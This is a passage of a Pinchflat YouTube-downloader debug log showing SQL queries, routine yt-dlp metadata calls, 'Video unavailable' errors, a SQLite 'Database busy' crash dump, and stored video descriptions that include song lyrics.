m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:08.588 [debug] QUERY OK source="tasks" db=0.3ms idle=208.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."worker" LIKE ?) AND (o1."state" IN (?,?,?,?)) [4, "%.MediaCollectionIndexingWorker", "available", "scheduled", "retryable", "executing"] 22:20:08.588 [debug] QUERY OK source="media_items" db=0.3ms idle=1.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [40] 22:20:08.589 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Johnny Horton's song Sink the Bismarck is a dramatic historical ballad recounting the hunt for the German battleship Bismarck during World War II. \n\nTold in Johnny Horton's signature storytelling style, Sink The Bismarck follows the tense naval pursuit across the Atlantic, building suspense as Allied forces race to stop one of Germany's most powerful warships.\n\nDriven by a marching rhythm and vivid lyrics, Sink The Bismarck combines history and entertainment, turning a major wartime event into an engaging narrative. Like many of Johnny Horton's best known recordings, it reflects his talent for bringing historical stories to life through memorable melodies and believable storytelling.\n\n📝 Johnny Horton Sink The Bismarck Lyrics:\n\nIn May of nineteen forty-one the war had just begun\nThe Germans had the biggest ship, they had the biggest guns\nThe Bismarck was the fastest ship that ever sailed the sea\nOn her deck were guns as big as steers and shells as big as trees\n\nOut of the cold and foggy night came the British ship, the Hood\nAnd every British seaman, he knew and understood\nThey had to sink the Bismarck, the terror of the sea\nStop those guns as big as steers and those shells as big as trees\n\nWe'll find the German battleship that's makin' such a fuss\nWe gotta sink the Bismarck cause the world depends on us\nHit the decks a-runnin' boys and spin those guns around\nWhen we find the Bismarck we gotta cut her down\n\nThe Hood found the Bismarck on that fatal day\nThe Bismarck started firin' fifteen miles away\n\"We gotta sink the Bismarck\" was the battle sound\nBut when the smoke had cleared away, the mighty Hood went down\n\nFor six long days and weary nights they tried to find her trail\nChurchill told the people \"put every ship a-sail\n'Cause somewhere on that ocean I know she's gotta be\nWe gotta sink the Bismarck to the bottom of the sea\"\n\nWe'll find that German battleship that's makin' such a fuss\nWe gotta sink the Bismarck 'cause the world depends on us\nHit the decks a-runnin' boys and spin those guns around\nWhen we find the Bismarck we gotta cut her down\n\nThe fog was gone the seventh day and they saw the mornin' sun\nTen hours away from homeland the Bismarck made its run\nThe admiral of the British fleet said \"turn those bows around\nWe found that German battleship and we're gonna cut her down\"\n\nThe British guns were aimed and the shells were comin' fast\nThe first shell hit the Bismarck, they knew she couldn't last\nThat mighty German battleship is just a memory\n\"Sink the Bismarck\" was the battle cry that shook the seven seas\n\nWe found that German battleship been makin' such a fuss\nWe had to sink the Bismarck 'cause the world depends on us\nWe hit the deck a-runnin' and we spun those guns around\nYeah, we found the mighty Bismarck and prepared to cut her down\n\nWe found that German battleship been makin' such a fuss\nWe had to sink the Bismarck 'cause the world depends on us\nWe hit the deck a-runnin' and we spun those guns around\nWe found the mighty Bismarck and then we cut her down\n\n👇 Follow Johnny Horton on his official music streaming sites:\nhttps://www.youtube.com/@JohnnyHortonVEVO\nhttps://www.youtube.com/channel/UC148jhTSenkCKNLD5hXHFqQ\nhttps://open.spotify.com/artist/1bBZcz4jP7CoPlqpCFh4gz\nhttps://music.apple.com/us/artist/johnny-horton/462172\n\n🎵 Enjoy more music from Cornerstone Recordings:\nThe Osborne Brothers - Rocky Top https://youtu.be/mJNU7YqTBks\nLeroy Van Dyke - The Auctioneer https://youtu.be/9B2yOM9iaoQ\nFlatt & Scruggs - Cripple Creek https://youtu.be/_4jj1BBRmPQ\nEdward Gamblin - Lovely in White https://youtu.be/Ql2bIDN34SA\nDoc Watson - Deep River Blues https://youtu.be/MrfYhgEcGRQ\n\n🎧 Listen to more of the best Folk Music Classics: https://www.youtube.com/playlist?list=PLg_WiZoJyyD1_h9wDX5ZAhdAYL8_rwJim\n\n🛎 Subscribe to Cornerstone Recordings for more: https://www.youtube.com/@cornerstonerecordingsofficial?sub_confirmation=1\n\n#JohnnyHorton #SinkTheBismarck #PatrioticMusic #MilitaryMusic #MilitarySongs #CornerstoneRecordings", "duration" => 195, "filename" => "/downloads/Classics/Classics/2026-06-07Johnny Horton - Sink The Bismarck[Mdpc5FmrjSc].m4a", "id" => "Mdpc5FmrjSc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Mdpc5FmrjSc", "playlist_index" => 4, "timestamp" => 1780837205, "title" => "Johnny Horton - Sink The Bismarck", "upload_date" => "20260607"} 22:20:08.639 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=XchkPl1ASEk --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/97/cf/97cf1037c1c9c50b5132131f3cba5723a6ad344714d037b7be985f96cbad769c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] XchkPl1ASEk: Video unavailable. This video is not available 22:20:08.639 [error] yt-dlp download error for media item #180: "ERROR: [youtube] XchkPl1ASEk: Video unavailable. This video is not available\n" 22:20:08.640 [error] yt-dlp download will not be retried: "ERROR: [youtube] XchkPl1ASEk: Video unavailable. This video is not available\n" 22:20:08.886 [debug] QUERY OK source="sources" db=297.2ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:20:08.887 [info] {"args":{"id":180},"id":188,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":3284063,"event":"job:stop","queue_time":4231719,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:09.019 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=8huYQbPK9pI --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2e/0d/2e0dc3594bad7db3b6696d4e5fe737710ac99d0047a577863123541666c6b7bc.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 8huYQbPK9pI: Video unavailable. This video is not available 22:20:09.019 [error] yt-dlp download error for media item #181: "ERROR: [youtube] 8huYQbPK9pI: Video unavailable. This video is not available\n" 22:20:09.020 [debug] QUERY OK source="tasks" db=133.4ms queue=182.6ms idle=115.1ms DELETE FROM "tasks" WHERE "id" = ? [152] 22:20:09.020 [error] yt-dlp download will not be retried: "ERROR: [youtube] 8huYQbPK9pI: Video unavailable. This video is not available\n" 22:20:09.020 [debug] QUERY OK source="sources" db=133.1ms queue=0.1ms idle=298.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:09.198 [info] {"args":{"id":181},"id":189,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":2073250,"event":"job:stop","queue_time":5854697,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:11.210 [debug] QUERY OK source="media_items" db=2189.2ms idle=133.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-07 13:00:05Z], 2] 22:20:11.211 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by The Orchard Enterprises\n\nOcean of Apathy · August Burns Red\n\nConstellations (Remixed)\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-06-14\n\nAuto-generated by YouTube.", "duration" => 235, "filename" => "/downloads/ChristianMetal/ChristianMetal/2019-06-13Ocean of Apathy[fNjKyIoeQ48].NA", "id" => "fNjKyIoeQ48", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=fNjKyIoeQ48", "playlist_index" => 23, "timestamp" => 1560420021, "title" => "Ocean of Apathy", "upload_date" => "20190613"} 22:20:11.208 [error] GenServer {Oban.Registry, {Oban, {:producer, "media_fetching"}}} terminating ** (Exqlite.Error) Database busy UPDATE "oban_jobs" AS o0 SET "state" = ?, "attempted_at" = ?, "attempted_by" = ?, "attempt" = "attempt" + ? WHERE (o0."id" IN (SELECT so0."id" FROM "oban_jobs" AS so0 WHERE (so0."state" = 'available') AND (so0."queue" = ?) AND (so0."attempt" < so0."max_attempts") ORDER BY so0."priority", so0."scheduled_at", so0."id" LIMIT ?)) RETURNING "id", "state", "queue", "worker", "args", "meta", "tags", "errors", "attempt", "attempted_by", "max_attempts", "priority", "attempted_at", "cancelled_at", "completed_at", "discarded_at", "inserted_at", "scheduled_at" (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1096: Ecto.Adapters.SQL.raise_sql_call_error/1 (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6 (ecto 3.12.5) lib/ecto/repo/queryable.ex:232: Ecto.Repo.Queryable.execute/4 (oban 2.19.4) lib/oban/engines/lite.ex:110: Oban.Engines.Lite.fetch_jobs/3 (oban 2.19.4) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3 (oban 2.19.4) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4 (telemetry 1.3.0) /app/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3 (oban 2.19.4) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1 Last message: :dispatch State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Lite, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "pinchflat@pinchflat-69fd9f9b5b-rv7vs", notifier: {Oban.Notifiers.PG, []}, peer: {Oban.Peers.Isolated, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"3 2 * * *", Pinchflat.YtDlp.UpdateWorker}, {"0 1 * * *", Pinchflat.Downloading.MediaRetentionWorker}, {"0 2 * * *", Pinchflat.Downloading.MediaQualityUpgradeWorker}]]}, {Oban.Plugins.Pruner, [max_age: 2592000]}], prefix: false, queues: [default: [limit: 10], fast_indexing: [limit: 2], media_collection_indexing: [limit: 2], media_fetching: [limit: 2], remote_metadata: [limit: 2], local_data: [limit: 8]], repo: Pinchflat.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "media_fetching"}}}}, meta: %{name: Oban, node: "pinchflat@pinchflat-69fd9f9b5b-rv7vs", queue: "media_fetching", started_at: ~U[2026-07-24 02:19:57.986638Z], limit: 2, uuid: "4c097f95-e6dd-4150-a4a6-a1d603457303", updated_at: ~U[2026-07-24 02:19:57.986640Z], paused: false, refresh_interval: 30000, shutdown_started_at: nil}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "media_fetching"}}}}, dispatch_timer: #Reference<0.304696451.716439553.69029>, refresh_timer: #Reference<0.304696451.716439553.64870>, dispatch_cooldown: 5, running: %{#Reference<0.0.363011.304696451.716505089.68531> => {#PID<0.2870.0>, %Oban.Queue.Executor{ack: true, conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Lite, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "pinchflat@pinchflat-69fd9f9b5b-rv7vs", notifier: {Oban.Notifiers.PG, []}, peer: {Oban.Peers.Isolated, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"3 2 * * *", Pinchflat.YtDlp.UpdateWorker}, {"0 1 * * *", Pinchflat.Downloading.MediaRetentionWorker}, {"0 2 * * *", Pinchflat.Downloading.MediaQualityUpgradeWorker}]]}, {Oban.Plugins.Pruner, [max_age: 2592000]}], prefix: false, queues: [default: [limit: 10], fast_indexing: [limit: 2], media_collection_indexing: [limit: 2], media_fetching: [limit: 2], remote_metadata: [limit: 2], local_data: [limit: 8]], repo: Pinchflat.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, error: nil, job: %Oban.Job{__meta__: #Ecto.Schema.Metadata<:loaded, "oban_jobs">, id: 189, state: "executing", queue: "media_fetching", worker: "Pinchflat.Downloading.MediaDownloadWorker", args: %{"id" => 181}, meta: %{}, tags: ["media_item", "media_fetching", "show_in_dashboard"], errors: [], attempt: 1, attempted_by: ["pinchflat@pinchflat-69fd9f9b5b-rv7vs"], max_attempts: 20, priority: 5, attempted_at: ~U[2026-07-24 02:20:06.854697Z], cancelled_at: nil, completed_at: nil, discarded_at: nil, inserted_at: ~U[2026-07-24 02:20:01.000000Z], scheduled_at: ~U[2026-07-24 02:20:01.000000Z], conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Lite, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "pinchflat@pinchflat-69fd9f9b5b-rv7vs", notifier: {Oban.Notifiers.PG, []}, peer: {Oban.Peers.Isolated, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{...}, ...]]}, {Oban.Plugins.Pruner, [max_age: 2592000]}], prefix: false, queues: [default: [limit: 10], fast_indexing: [limit: 2], media_collection_indexing: [...], ...], repo: Pinchflat.Repo, shutdown_grace_period: 15000, stage_interval: 1000, ...}, conflict?: false, replace: nil, unique: nil, unsaved_error: nil}, meta: %{args: %{"id" => 181}, id: 189, max_attempts: 20, queue: "media_fetching", worker: "Pinchflat.Downloading.MediaDownloadWorker", prefix: false, conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Lite, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "pinchflat@pinchflat-69fd9f9b5b-rv7vs", notifier: {Oban.Notifiers.PG, []}, peer: {Oban.Peers.Isolated, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"3 2 * * *", Pinchflat.YtDlp.UpdateWorker}, {"0 1 * * *", Pinchflat.Downloading.MediaRetentionWorker}, {"0 2 * * *", Pinchflat.Downloading.MediaQualityUpgradeWorker}]]}, {Oban.Plugins.Pruner, [max_age: 2592000]}], prefix: false, queues: [default: [limit: 10], fast_indexing: [limit: 2], media_collection_indexing: [limit: 2], media_fetching: [limit: 2], remote_metadata: [limit: 2], local_data: [limit: 8]], repo: Pinchflat.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, attempt: 1, tags: ["media_item", "media_fetching", "show_in_dashboard"], job: %Oban.Job{__meta__: #Ecto.Schema.Metadata<:loaded, "oban_jobs">, id: 189, state: "executing", queue: "media_fetching", worker: "Pinchflat.Downloading.MediaDownloadWorker", args: %{"id" => 181}, meta: %{}, tags: ["media_item", "media_fetching", "show_in_dashboard"], errors: [], attempt: 1, attempted_by: ["pinchflat@pinchflat-69fd9f9b5b-rv7vs"], max_attempts: 20, priority: 5, attempted_at: ~U[2026-07-24 02:20:06.854697Z], cancelled_at: nil, completed_at: nil, discarded_at: nil, inserted_at: ~U[2026-07-24 02:20:01.000000Z], scheduled_at: ~U[2026-07-24 02:20:01.000000Z], conf: nil, conflict?: false, replace: nil, unique: nil, unsaved_error: nil}}, pid: #PID<0.2836.0>, result: nil, snooze: nil, start_mono: -576459765335202651, start_time: 1784859606947460248, stop_mono: nil, timer: nil, worker: nil, safe: true, duration: 0, kind: :error, queue_time: 0, stacktrace: [], state: :unset}}}} 22:20:11.565 [debug] QUERY OK source="tasks" db=149.7ms idle=204.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [192, 4, ~U[2026-07-24 02:20:11Z], ~U[2026-07-24 02:20:11Z]] 22:20:11.565 [info] Sent 302 in 2978ms 22:20:11.642 [debug] QUERY OK source="sources" db=430.4ms queue=0.3ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:20:11.643 [debug] QUERY OK source="sources" db=0.3ms idle=429.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:11.644 [debug] QUERY OK source="media_items" db=0.4ms idle=228.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-06-13 10:00:21Z], 5] 22:20:11.668 [info] GET /sources/4 22:20:11.668 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "4"} Pipelines: [:browser] 22:20:11.808 [debug] QUERY OK source="media_items" db=595.2ms queue=0.8ms idle=2.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Johnny Horton's song Sink the Bismarck is a dramatic historical ballad recounting the hunt for the German battleship Bismarck during World War II. \n\nTold in Johnny Horton's signature storytelling style, Sink The Bismarck follows the tense naval pursuit across the Atlantic, building suspense as Allied forces race to stop one of Germany's most powerful warships.\n\nDriven by a marching rhythm and vivid lyrics, Sink The Bismarck combines history and entertainment, turning a major wartime event into an engaging narrative. Like many of Johnny Horton's best known recordings, it reflects his talent for bringing historical stories to life through memorable melodies and believable storytelling.\n\n📝 Johnny Horton Sink The Bismarck Lyrics:\n\nIn May of nineteen forty-one the war had just begun\nThe Germans had the biggest ship, they had the biggest guns\nThe Bismarck was the fastest ship that ever sailed the sea\nOn her deck were guns as big as steers and shells as big as trees\n\nOut of the cold and foggy night came the British ship, the Hood\nAnd every British seaman, he knew and understood\nThey had to sink the Bismarck, the terror of the sea\nStop those guns as big as steers and those shells as big as trees\n\nWe'll find the German battleship that's makin' such a fuss\nWe gotta sink the Bismarck cause the world depends on us\nHit the decks a-runnin' boys and spin those guns around\nWhen we find the Bismarck we gotta cut her down\n\nThe Hood found the Bismarck on that fatal day\nThe Bismarck started firin' fifteen miles away\n\"We gotta sink the Bismarck\" was the battle sound\nBut when the smoke had cleared away, the mighty Hood went down\n\nFor six long days and weary nights they tried to find her trail\nChurchill told the people \"put every ship a-sail\n'Cause somewhere on that ocean I know she's gotta be\nWe gotta sink the Bismarck to the bottom of the sea\"\n\nWe'll find that German battleship that's makin' such a fuss\nWe gotta sink the Bismarck 'cause the world depends on us\nHit the decks a-runnin' boys and spin those guns around\nWhen we find the Bismarck we gotta cut her down\n\nThe fog was gone the seventh day and they saw the mornin' sun\nTen hours away from homeland the Bismarck made its run\nThe admiral of the British fleet said \"turn those bows around\nWe found that German battleship and we're gonna cut her down\"\n\nThe British guns were aimed and the shells were comin' fast\nThe first shell hit the Bismarck, they knew she couldn't last\nThat mighty German battleship is just a memory\n\"Sink the Bismarck\" was the battle cry that shook the seven seas\n\nWe found that German battleship been makin' such a fuss\nWe had to sink the Bismarck 'cause the world depends on us\nWe hit the deck a-runnin' and we spun those guns around\nYeah, we found the mighty Bismarck and prepared to cut her down\n\nWe found that German battleship been makin' such a fuss\nWe had to sink the Bismarck 'cause the world depends on us\nWe hit the deck a-runnin' and we spun those guns around\nWe found the mighty Bismarck and then we cut her down\n\n👇 Follow Johnny Horton on his official music streaming sites:\nhttps://www.youtube.com/@JohnnyHortonVEVO\nhttps://www.youtube.com/channel/UC148jhTSenkCKNLD5hXHFqQ\nhttps://open.spotify.com/artist/1bBZcz4jP7CoPlqpCFh4gz\nhttps://music.apple.com/us/artist/johnny-horton/462172\n\n🎵 Enjoy more music from Cornerstone Recordings:\nThe Osborne Brothers - Rocky Top https://youtu.be/mJNU7YqTBks\nLeroy Van Dyke - The Auctioneer https://youtu.be/9B2yOM9iaoQ\nFlatt & Scruggs - Cripple Creek https://youtu.be/_4jj1BBRmPQ\nEdward Gamblin - Lovely in White https://youtu.be/Ql2bIDN34SA\nDoc Watson - Deep River Blues https://youtu.be/MrfYhgEcGRQ\n\n🎧 Listen to more of the best Folk Music Classics: https://www.youtube.com/playlist?list=PLg_WiZoJyyD1_h9wDX5ZAhdAYL8_rwJim\n\n🛎 Subscribe to Cornerstone Recordings for more: https://www.youtube.com/@cornerstonerecordingsofficial?sub_confirmation=1\n\n#JohnnyHorton #SinkTheBismarck #PatrioticMusic #MilitaryMusic #MilitarySongs #CornerstoneRecordings", "Johnny Horton - Sink The Bismarck", "ee1e5492-f226-46b9-b8d3-4062a76f75a7", false, "Mdpc5FmrjSc", 195, false, "https://www.youtube.com/watch?v=Mdpc5FmrjSc", 4, "/downloads/Classics/Classics/2026-06-07Johnny Horton - Sink The Bismarck[Mdpc5FmrjSc].m4a", false, false, 2, [], 1, ~U[2026-06-07 13:00:05Z], ~U[2026-07-24 02:20:11Z], ~U[2026-07-24 02:20:11Z], "Johnny Horton's song Sink the Bismarck is a dramatic historical ballad recounting the hunt for the German battleship Bismarck during World War II. \n\nTold in Johnny Horton's signature storytelling style, Sink The Bismarck follows the tense naval pursuit across the Atlantic, building suspense as Allied forces race to stop one of Germany's most powerful warships.\n\nDriven by a marching rhythm and vivid lyrics, Sink The Bismarck combines history and entertainment, turning a major wartime event into an engaging narrative. Like many of Johnny Horton's best known recordings, it reflects his talent for bringing historical stories to life through memorable melodies and believable storytelling.\n\n📝 Johnny Horton Sink The Bismarck Lyrics:\n\nIn May of nineteen forty-one the war had just begun\nThe Germans had the biggest ship, they had the biggest guns\nThe Bismarck was the fastest ship that ever sailed the sea\nOn her deck were guns as big as steers and shells as big as trees\n\nOut of the cold and foggy night came the British ship, the Hood\nAnd every British seaman, he knew and understood\nThey had to sink the Bismarck, the terror of the sea\nStop those guns as big as steers and those shells as big as trees\n\nWe'll find the German battleship that's makin' such a fuss\nWe gotta sink the Bismarck cause the world depends on us\nHit the decks a-runnin' boys and spin those guns around\nWhen we find the Bismarck we gotta cut her down\n\nThe Hood found the Bismarck on that fatal day\nThe Bismarck started firin' fifteen miles away\n\"We gotta sink the Bismarck\" was the battle sound\nBut when the smoke had cleared away, the mighty Hood went down\n\nFor six long days and weary nights they tried to find her trail\nChurchill told the people \"put every ship a-sail\n'Cause somewhere on that ocean I know she's gotta be\nWe gotta sink the Bismarck to the bottom of the sea\"\n\nWe'll find that German battleship that's makin' such a fuss\nWe gotta sink the Bismarck 'cause the world depends on us\nHit the decks a-runnin' boys and spin those guns around\nWhen we find the Bismarck we gotta cut her down\n\nThe fog was gone the seventh day and they saw the mornin' sun\nTen hours away from homeland the Bismarck made its run\nThe admiral of the British fleet said \"turn those bows around\nWe found that German battleship and we're gonna cut her down\"\n\nThe British guns were aimed and the shells were comin' fast\nThe first shell hit the Bismarck, they knew she couldn't last\nThat mighty German battleship is just a memory\n\"Sink the Bismarck\" was the battle cry that shook the seven seas\n\nWe found that German battleship been makin' such a fuss\nWe had to sink the Bismarck 'cause the world depends on us\nWe hit the deck a-runnin' and we spun those guns around\nYeah, we found the mighty Bismarck and prepared to cut her down\n\nWe found that German battleship been makin' such a fuss\nWe had to s (truncated) 22:20:11.808 [debug] QUERY OK source="sources" db=0.2ms idle=164.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:11.808 [debug] QUERY OK source="media_profiles" db=0.1ms idle=164.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:11.809 [debug] QUERY OK source="media_items" db=0.1ms idle=1.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [41] 22:20:11.809 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "👉Bonnie Tyler - Holding Out For A Hero (Lyrics)\n\n🎵 Follow the official Golden Network playlist on Spotify: https://open.spotify.com/playlist/78TFbUcZBZ8a70kFHK1et9?si=cb29aee6e1ec4cc0\n\n🔔 Hit the Subscribe Button and Turn on notifications to stay updated with new uploads!\n\n🎤 Song Lyrics : Bonnie Tyler - Holding Out For A Hero (Lyrics)\n\nLyrics : \n\n[Intro]\nDo-do, do-do\nDo-do, do-do\nDo-do, do-do\nAh, ah\n\n[Verse 1]\nWhere have all the good men gone and where are all the gods?\nWhere's the streetwise Hercules to fight the risin' odds?\nIsn't there a white knight upon a fiery steed?\nLate at night, I toss and I turn and I 